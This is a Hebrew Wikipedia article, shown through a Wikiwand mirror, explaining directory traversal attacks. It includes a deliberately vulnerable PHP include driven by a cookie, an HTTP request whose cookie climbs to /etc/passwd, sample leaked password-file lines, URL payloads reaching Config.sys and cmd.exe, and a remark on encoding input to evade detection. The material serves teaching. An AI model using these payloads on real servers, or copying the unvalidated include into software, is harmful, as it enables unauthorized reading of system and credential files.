שאלות נפוצות
ציר זמן
צ'אט
פרספקטיבה

Directory Traversal

מוויקיפדיה, האנציקלופדיה החופשית

Remove ads

Directory Traversal או Path Traversalאנגלית: Directory Traversal, "מעבר בין ספריות") היא התקפה נגד שרת או יישום אינטרנטי שמטרתה גישה לא מורשית אל מערכת הקבצים.

בהתקפה זו, מזהה התוקף אתרי אינטרנט המפנים לעמודים ולקבצים שונים ובודק את אימות הנתונים כאשר מזין קלט שונה.

במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, הוא מוסיף פרמטרים נוספים (/..) המשנים את מבנה הנתיב וכך הוא יכול לעבור בין ספריות שונות במערכת הקבצים ואף לחזור אל ספריית השורש ולטעון קבצים שאינו מורשה לצפות בהם.

Remove ads

שימוש

סכם
פרספקטיבה

פונקציית ()include מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש.

בעזרת חזרה על מספר תווים הנחשבים למסוכנים, ניתן לגשת אל ספריות שונות במערכת הקבצים ואף לחזור אל ספריית השורש ולצפות בקבצים חסויים:

  • /..
  • \..
  • ..

ניתן לקודד את התווים ובכך לחמוק מזיהוי של מערכות ההגנה השונות.

בדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP:

<?php
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE']))
   $template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template);
?>

שינוי בקשת HTTP, חזרה אל ספריית השורש ופתיחת קובץ המשתמשים:

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

לחולל שינוי בתגובת השרת:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
daemon:*:1:1::/tmp: 
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

הפגיעות בכתובת ה-URL:

בדוגמה שלהלן, מתרחשת טעינה של קובץ בשם page.html. במידה והמערכת אינה בודקת את הערך יוכל התוקף לשנות את הערך לביטוי אחר כרצונו.

http://www.example.com/index.foo?item=page.html

בהתאם לסוג מערכת ההפעלה ובעזרת ניסוי וטעייה, יחזור התוקף אל ספריות האב ויחפש את הקבצים הנדרשים.

http://www.example.com/index.foo?item=../../../Config.sys

במידה וגם השרת עצמו פגיע, ניתן לקרוא ליישומים הרצים עליו:

http://www.example.com/index.foo?item=../../../Windows/System32/cmd.exe?/C+dir+C:\
Remove ads

ראו גם

קישורים חיצוניים

Loading related searches...

Wikiwand - on

Seamless Wikipedia browsing. On steroids.

Remove ads